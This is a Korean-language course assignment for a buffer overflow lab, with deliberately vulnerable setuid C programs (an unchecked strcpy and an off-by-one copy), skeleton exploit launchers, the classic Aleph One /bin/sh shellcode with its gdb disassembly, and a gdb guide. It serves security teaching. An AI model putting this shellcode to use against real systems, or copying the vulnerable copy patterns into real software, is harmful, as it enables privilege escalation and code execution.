과제: Buffer Overflow 공격 프로그램 작성

주어진 가상머신 이미지의 linux를 사용하여 과제를 수행한다.
- 가상머신의 터미널 창에서 **login: user, Password: user**를 입력하여 로그인한다.
- 공격 대상인 모든 target 프로그램은 /calnetsrc 디렉토리에 있으며 s실행 허가권을 갖고 있다.

```
user@box:/calnetsrc$ ls -l
total 24
-rwsr-xr-x 1 calnet1 calnet1 7787 Jan 23  2012 target1
-rwsr-xr-x 1 calnet2 calnet2 8063 Jan 23  2012 target2
-rwsr-xr-x 1 calnet3 calnet3 8078 Jan 23  2012 target3
```

- lab1.tgz 압축을 풀면 다음 디렉토리에 필요한 파일이 있다. (명령어: tar xvfz lab1.tgz)
  sploits – 공격할 코드를 target 프로그램에 주입하여 실행하는 프로그램
  targets – 공격 대상이 되는 target 프로그램의 source code
- targets 디렉토리에 있는 target1.c 와 target2.c 프로그램의 소스코드를 분석하여 **각각 어떠한 공격이 가능한 지 조사하시오.**

"target1.c"

```
int bar(char *arg, char *out)
{
  strcpy(out, arg);
  return 0;
}

int foo(char *argv[])
{
  char buf[256];
  bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target1: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv);
  return 0;
}
```

"target2.c"

```
void nstrcpy(char *out, int outl, char *in)
{
  int i, len;

  len = strlen(in);
  if (len > outl)
    len = outl;

  for (i = 0; i <= len; i++)
    out[i] = in[i];
}

void bar(char *arg)
{
  char buf[200];

  nstrcpy(buf, sizeof buf, arg);
}
```

```
void foo(char *argv[])
{
  bar(argv[1]);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target2: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv);
  return 0;
}
```

- sploits에 있는 프로그램은 target 프로그램을 위한 인수 값을 설정하고, execve 시스템 호출을 사용하여 target 프로그램을 실행시키는 동작을 한다. (두 프로그램은 target만 제외하고는 동일하다.)

"sploit1.c"

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/calnetsrc/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}
```

"sploit2.c"

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/calnetsrc/target2"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}
```

- sploit1.c와 sploit2.c에서 “shellcode.h”에서 제공하는 shellcode를 실행하여 shell이 실행될 수 있도록 args[1]에 제공되는 공격 데이터를 적절히 만들어서 실행시키는 **프로그램을 작성**하시오. 이 프로그램을 작성하는 과정에서 주소 정보를 얻기 위해서는 gdb 디버거를 사용할 필요가 있다. 이에 대한 사용법은 뒤에 있는 GNU debugger 설명을 참조하시오. (인터넷에서 검색해도 됨)

```
/*
 * Aleph One shellcode.
 */
static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

- Makefile이 준비되어 있으므로 다음과 같이 make 명령어로 컴파일을 한다.

```
$ make                  ... 컴파일
$ make clean            ... 컴파일된 파일 삭제
```

- gdb를 사용하면 컴파일된 파일에서 다음과 같이 disassemble하여 shellcode의 내용을 확인할 수 있다.

```
$ gdb exploit1
```

```
(gdb) x/20i shellcode
0x80495a0 <shellcode>:   jmp    0x80495c1 <shellcode+33>
0x80495a2 <shellcode+2>:         pop    %esi
0x80495a3 <shellcode+3>:         mov    %esi,0x8(%esi)
0x80495a6 <shellcode+6>:         xor    %eax,%eax
0x80495a8 <shellcode+8>:         mov    %al,0x7(%esi)
0x80495ab <shellcode+11>:        mov    %eax,0xc(%esi)
0x80495ae <shellcode+14>:        mov    $0xb,%al
0x80495b0 <shellcode+16>:        mov    %esi,%ebx
0x80495b2 <shellcode+18>:        lea    0x8(%esi),%ecx
0x80495b5 <shellcode+21>:        lea    0xc(%esi),%edx
0x80495b8 <shellcode+24>:        int    $0x80
0x80495ba <shellcode+26>:        xor    %ebx,%ebx
0x80495bc <shellcode+28>:        mov    %ebx,%eax
0x80495be <shellcode+30>:        inc    %eax
0x80495bf <shellcode+31>:        int    $0x80
0x80495c1 <shellcode+33>:        call   0x80495a2 <shellcode+2>
0x80495c6 <shellcode+38>:        das
0x80495c7 <shellcode+39>:        bound  %ebp,0x6e(%ecx)
0x80495ca <shellcode+42>:        das
0x80495cb <shellcode+43>:        jae    0x8049635
```

- 다음은 lab1.tgz파일의 압축을 풀어서 sploits1 프로그램을 편집하여 실행시키는 과정을 나타낸 것이다.

```
user@box:~/$ tar xzvf lab1.tgz
user@box:~$ cd targets
....look around and understand the folder structure....
user@box:~targets$ cd sploits
....edit, test, exploit....
user@box:~/sploits$ make
user@box:~/sploits$ ./sploit1
#cat /calnet1/code
Write down the code that shows up here!!
```

- 공격이 성공한다면 shell의 사용자가 user에서 calnet1 또는 calnet2로 바뀌어야 한다.

```
$ ./sploit1                    $./sploit2
$ whoami                       $ whoami
calnet1                        calnet2
```

GNU Debugger

The GNU debugger gdb is a very powerful tool that is extremely useful all around computer science, and will be especially essential for this project. A basic gdb workflow begins with loading the executable in the debugger:

```
gdb executable
```

You can then start running the program with:

```
$ run [arguments-to-the-executable]
```

(Note, here we have changed gdb's default prompt of (gdb) to $).
In order to stop the execution at a specific line, set a breakpoint before issuing the \run" command. When execution halts at that line, you can then execute step-wise (commands next and step) or continue (command continue) until the next breakpoint or the program terminates.

```
$ break line-number or function-name
$ run [arguments-to-the-executable]
$ step         # branch into function calls
$ next         # step over function calls
$ continue     # execute until next breakpoint or program termination
```

Once execution stops, you will nd it useful to look at the stack backtrace and the layout of the current stack frame:

```
$ backtrace
$ info frame 0
$ info registers
```

You can navigate between stack frames using the up and down commands. To inspect memory at a particular location, you can use the x/FMT command

```
$ x/16 $esp
$ x/32i 0xdeadbeef
$ x/64s &buf
```

where the FMT suffix after the slash indicates the output format. Other helpful commands are disassemble and info symbol. You can get a short description of each command via

```
$ help command
```

In addition, we have given a concise summary of all gdb commands at:

```
http://users.ece.utexas.edu/~adnan/gdb-refcard.pdf
```

You may find it very helpful to dump the memory image (\core") of a program that crashes. The core captures the process state at the time of the crash, providing a snapshot of the virtual address space, stack frames, etc., at that time. You can activate core dumping with the shell command:

```
% ulimit –c unlimited
```

A crashing program then leaves a file core in the current directory, which you can then hand to the debugger together with the executable:

```
gdb executable core
$ bt           # same as backtrace
$ up           # move up the call stack
$ i f 1               # same as "info frame 1"
$ ...
```

Lastly, here is how you step into a second program bar that is launched by a rst program foo:

```
gdb -e foo –s bar             # load executable foo and symbol table of bar
$ set follow-fork-mode child  # enable debugging across programs
$ b bar:f                     # breakpoint at function f in program bar
$ r                           # run foo and break at f in bar
```